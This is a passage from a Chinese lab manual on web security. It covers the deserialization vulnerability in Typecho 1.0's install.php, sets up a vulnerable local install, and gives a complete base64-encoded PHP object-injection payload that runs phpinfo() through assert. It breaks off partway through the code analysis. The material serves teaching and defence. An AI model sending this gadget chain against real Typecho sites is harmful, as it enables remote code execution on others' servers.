Web安全与防护 实训指南 9.1Typecho1.0反序列化漏洞利用与分析.pdf
Typecho1.0反序列化漏洞利用与分析
【实训目的】
1.掌握反序列化漏洞形成的原因与危害;
2.掌握反序列化漏洞的检测方法;
3.掌握反序列化漏洞的防范方法。
【实训原理】
Typecho是一个简单,轻巧的博客程序。其基于PHP,使用多种数据库(Mysql,
PostgreSQL,SQLite)储存数据。在GPLVersion2许可证下发行,是一个开源的
程序。在其早期版本Typecho1.0-14.10.10版本的install.php中存在反序列化漏洞,
利用该版本存在的反序列化漏洞演示其发现与利用的过程。
【实训步骤】
步骤1、下载typecho1.0-14.10.10版本。
/typecho/typecho/tags。
步骤2、安装typecho。
(1)本示例的运行环境是XAMPP(具体安装方法,请参见项目1实训),将
下载的文件解压到WEB服务器的安装目录,即XAMPP\HTDOCS\typecho。
(2)登录mysql数据库,通过CREATEDATABASEtypechodefaultcharsetutf8;
命令创建typecho数据库。
(3)在URL中输入:/typecho/install.php,即可安装成功。
步骤3、利用反序列化漏洞。
(1)使用火狐浏览器及hackbar插件,如下图所示:
图9-6火狐浏览器hackbar插件
勾选图片红色标注处的Post、Referrer。
(2)url中添加finish=1,在PostData和referrer填写数据如下:
图9-7Typecho反列序列化漏洞的利用
PostData:
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRm
VlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjt
zOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6I
nRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUw
ODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1Jlc
XVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzO
jEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX
1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV
0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1Jlc
XVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm
8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7cz
o2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30
Referrer:http://localhost/
(3)点击Excute按钮,将出现如下界面:
图9-8Typecho反列序列化漏洞的利用结果
即运行了phpinfo()命令。
步骤4、分析反序列化漏洞。
(1)寻找可控的反序列化输入点。
通过VisualStudioCode工具打开typecho的源文件。install.php文件使用
unserialize函数进行了反序列化,其参数为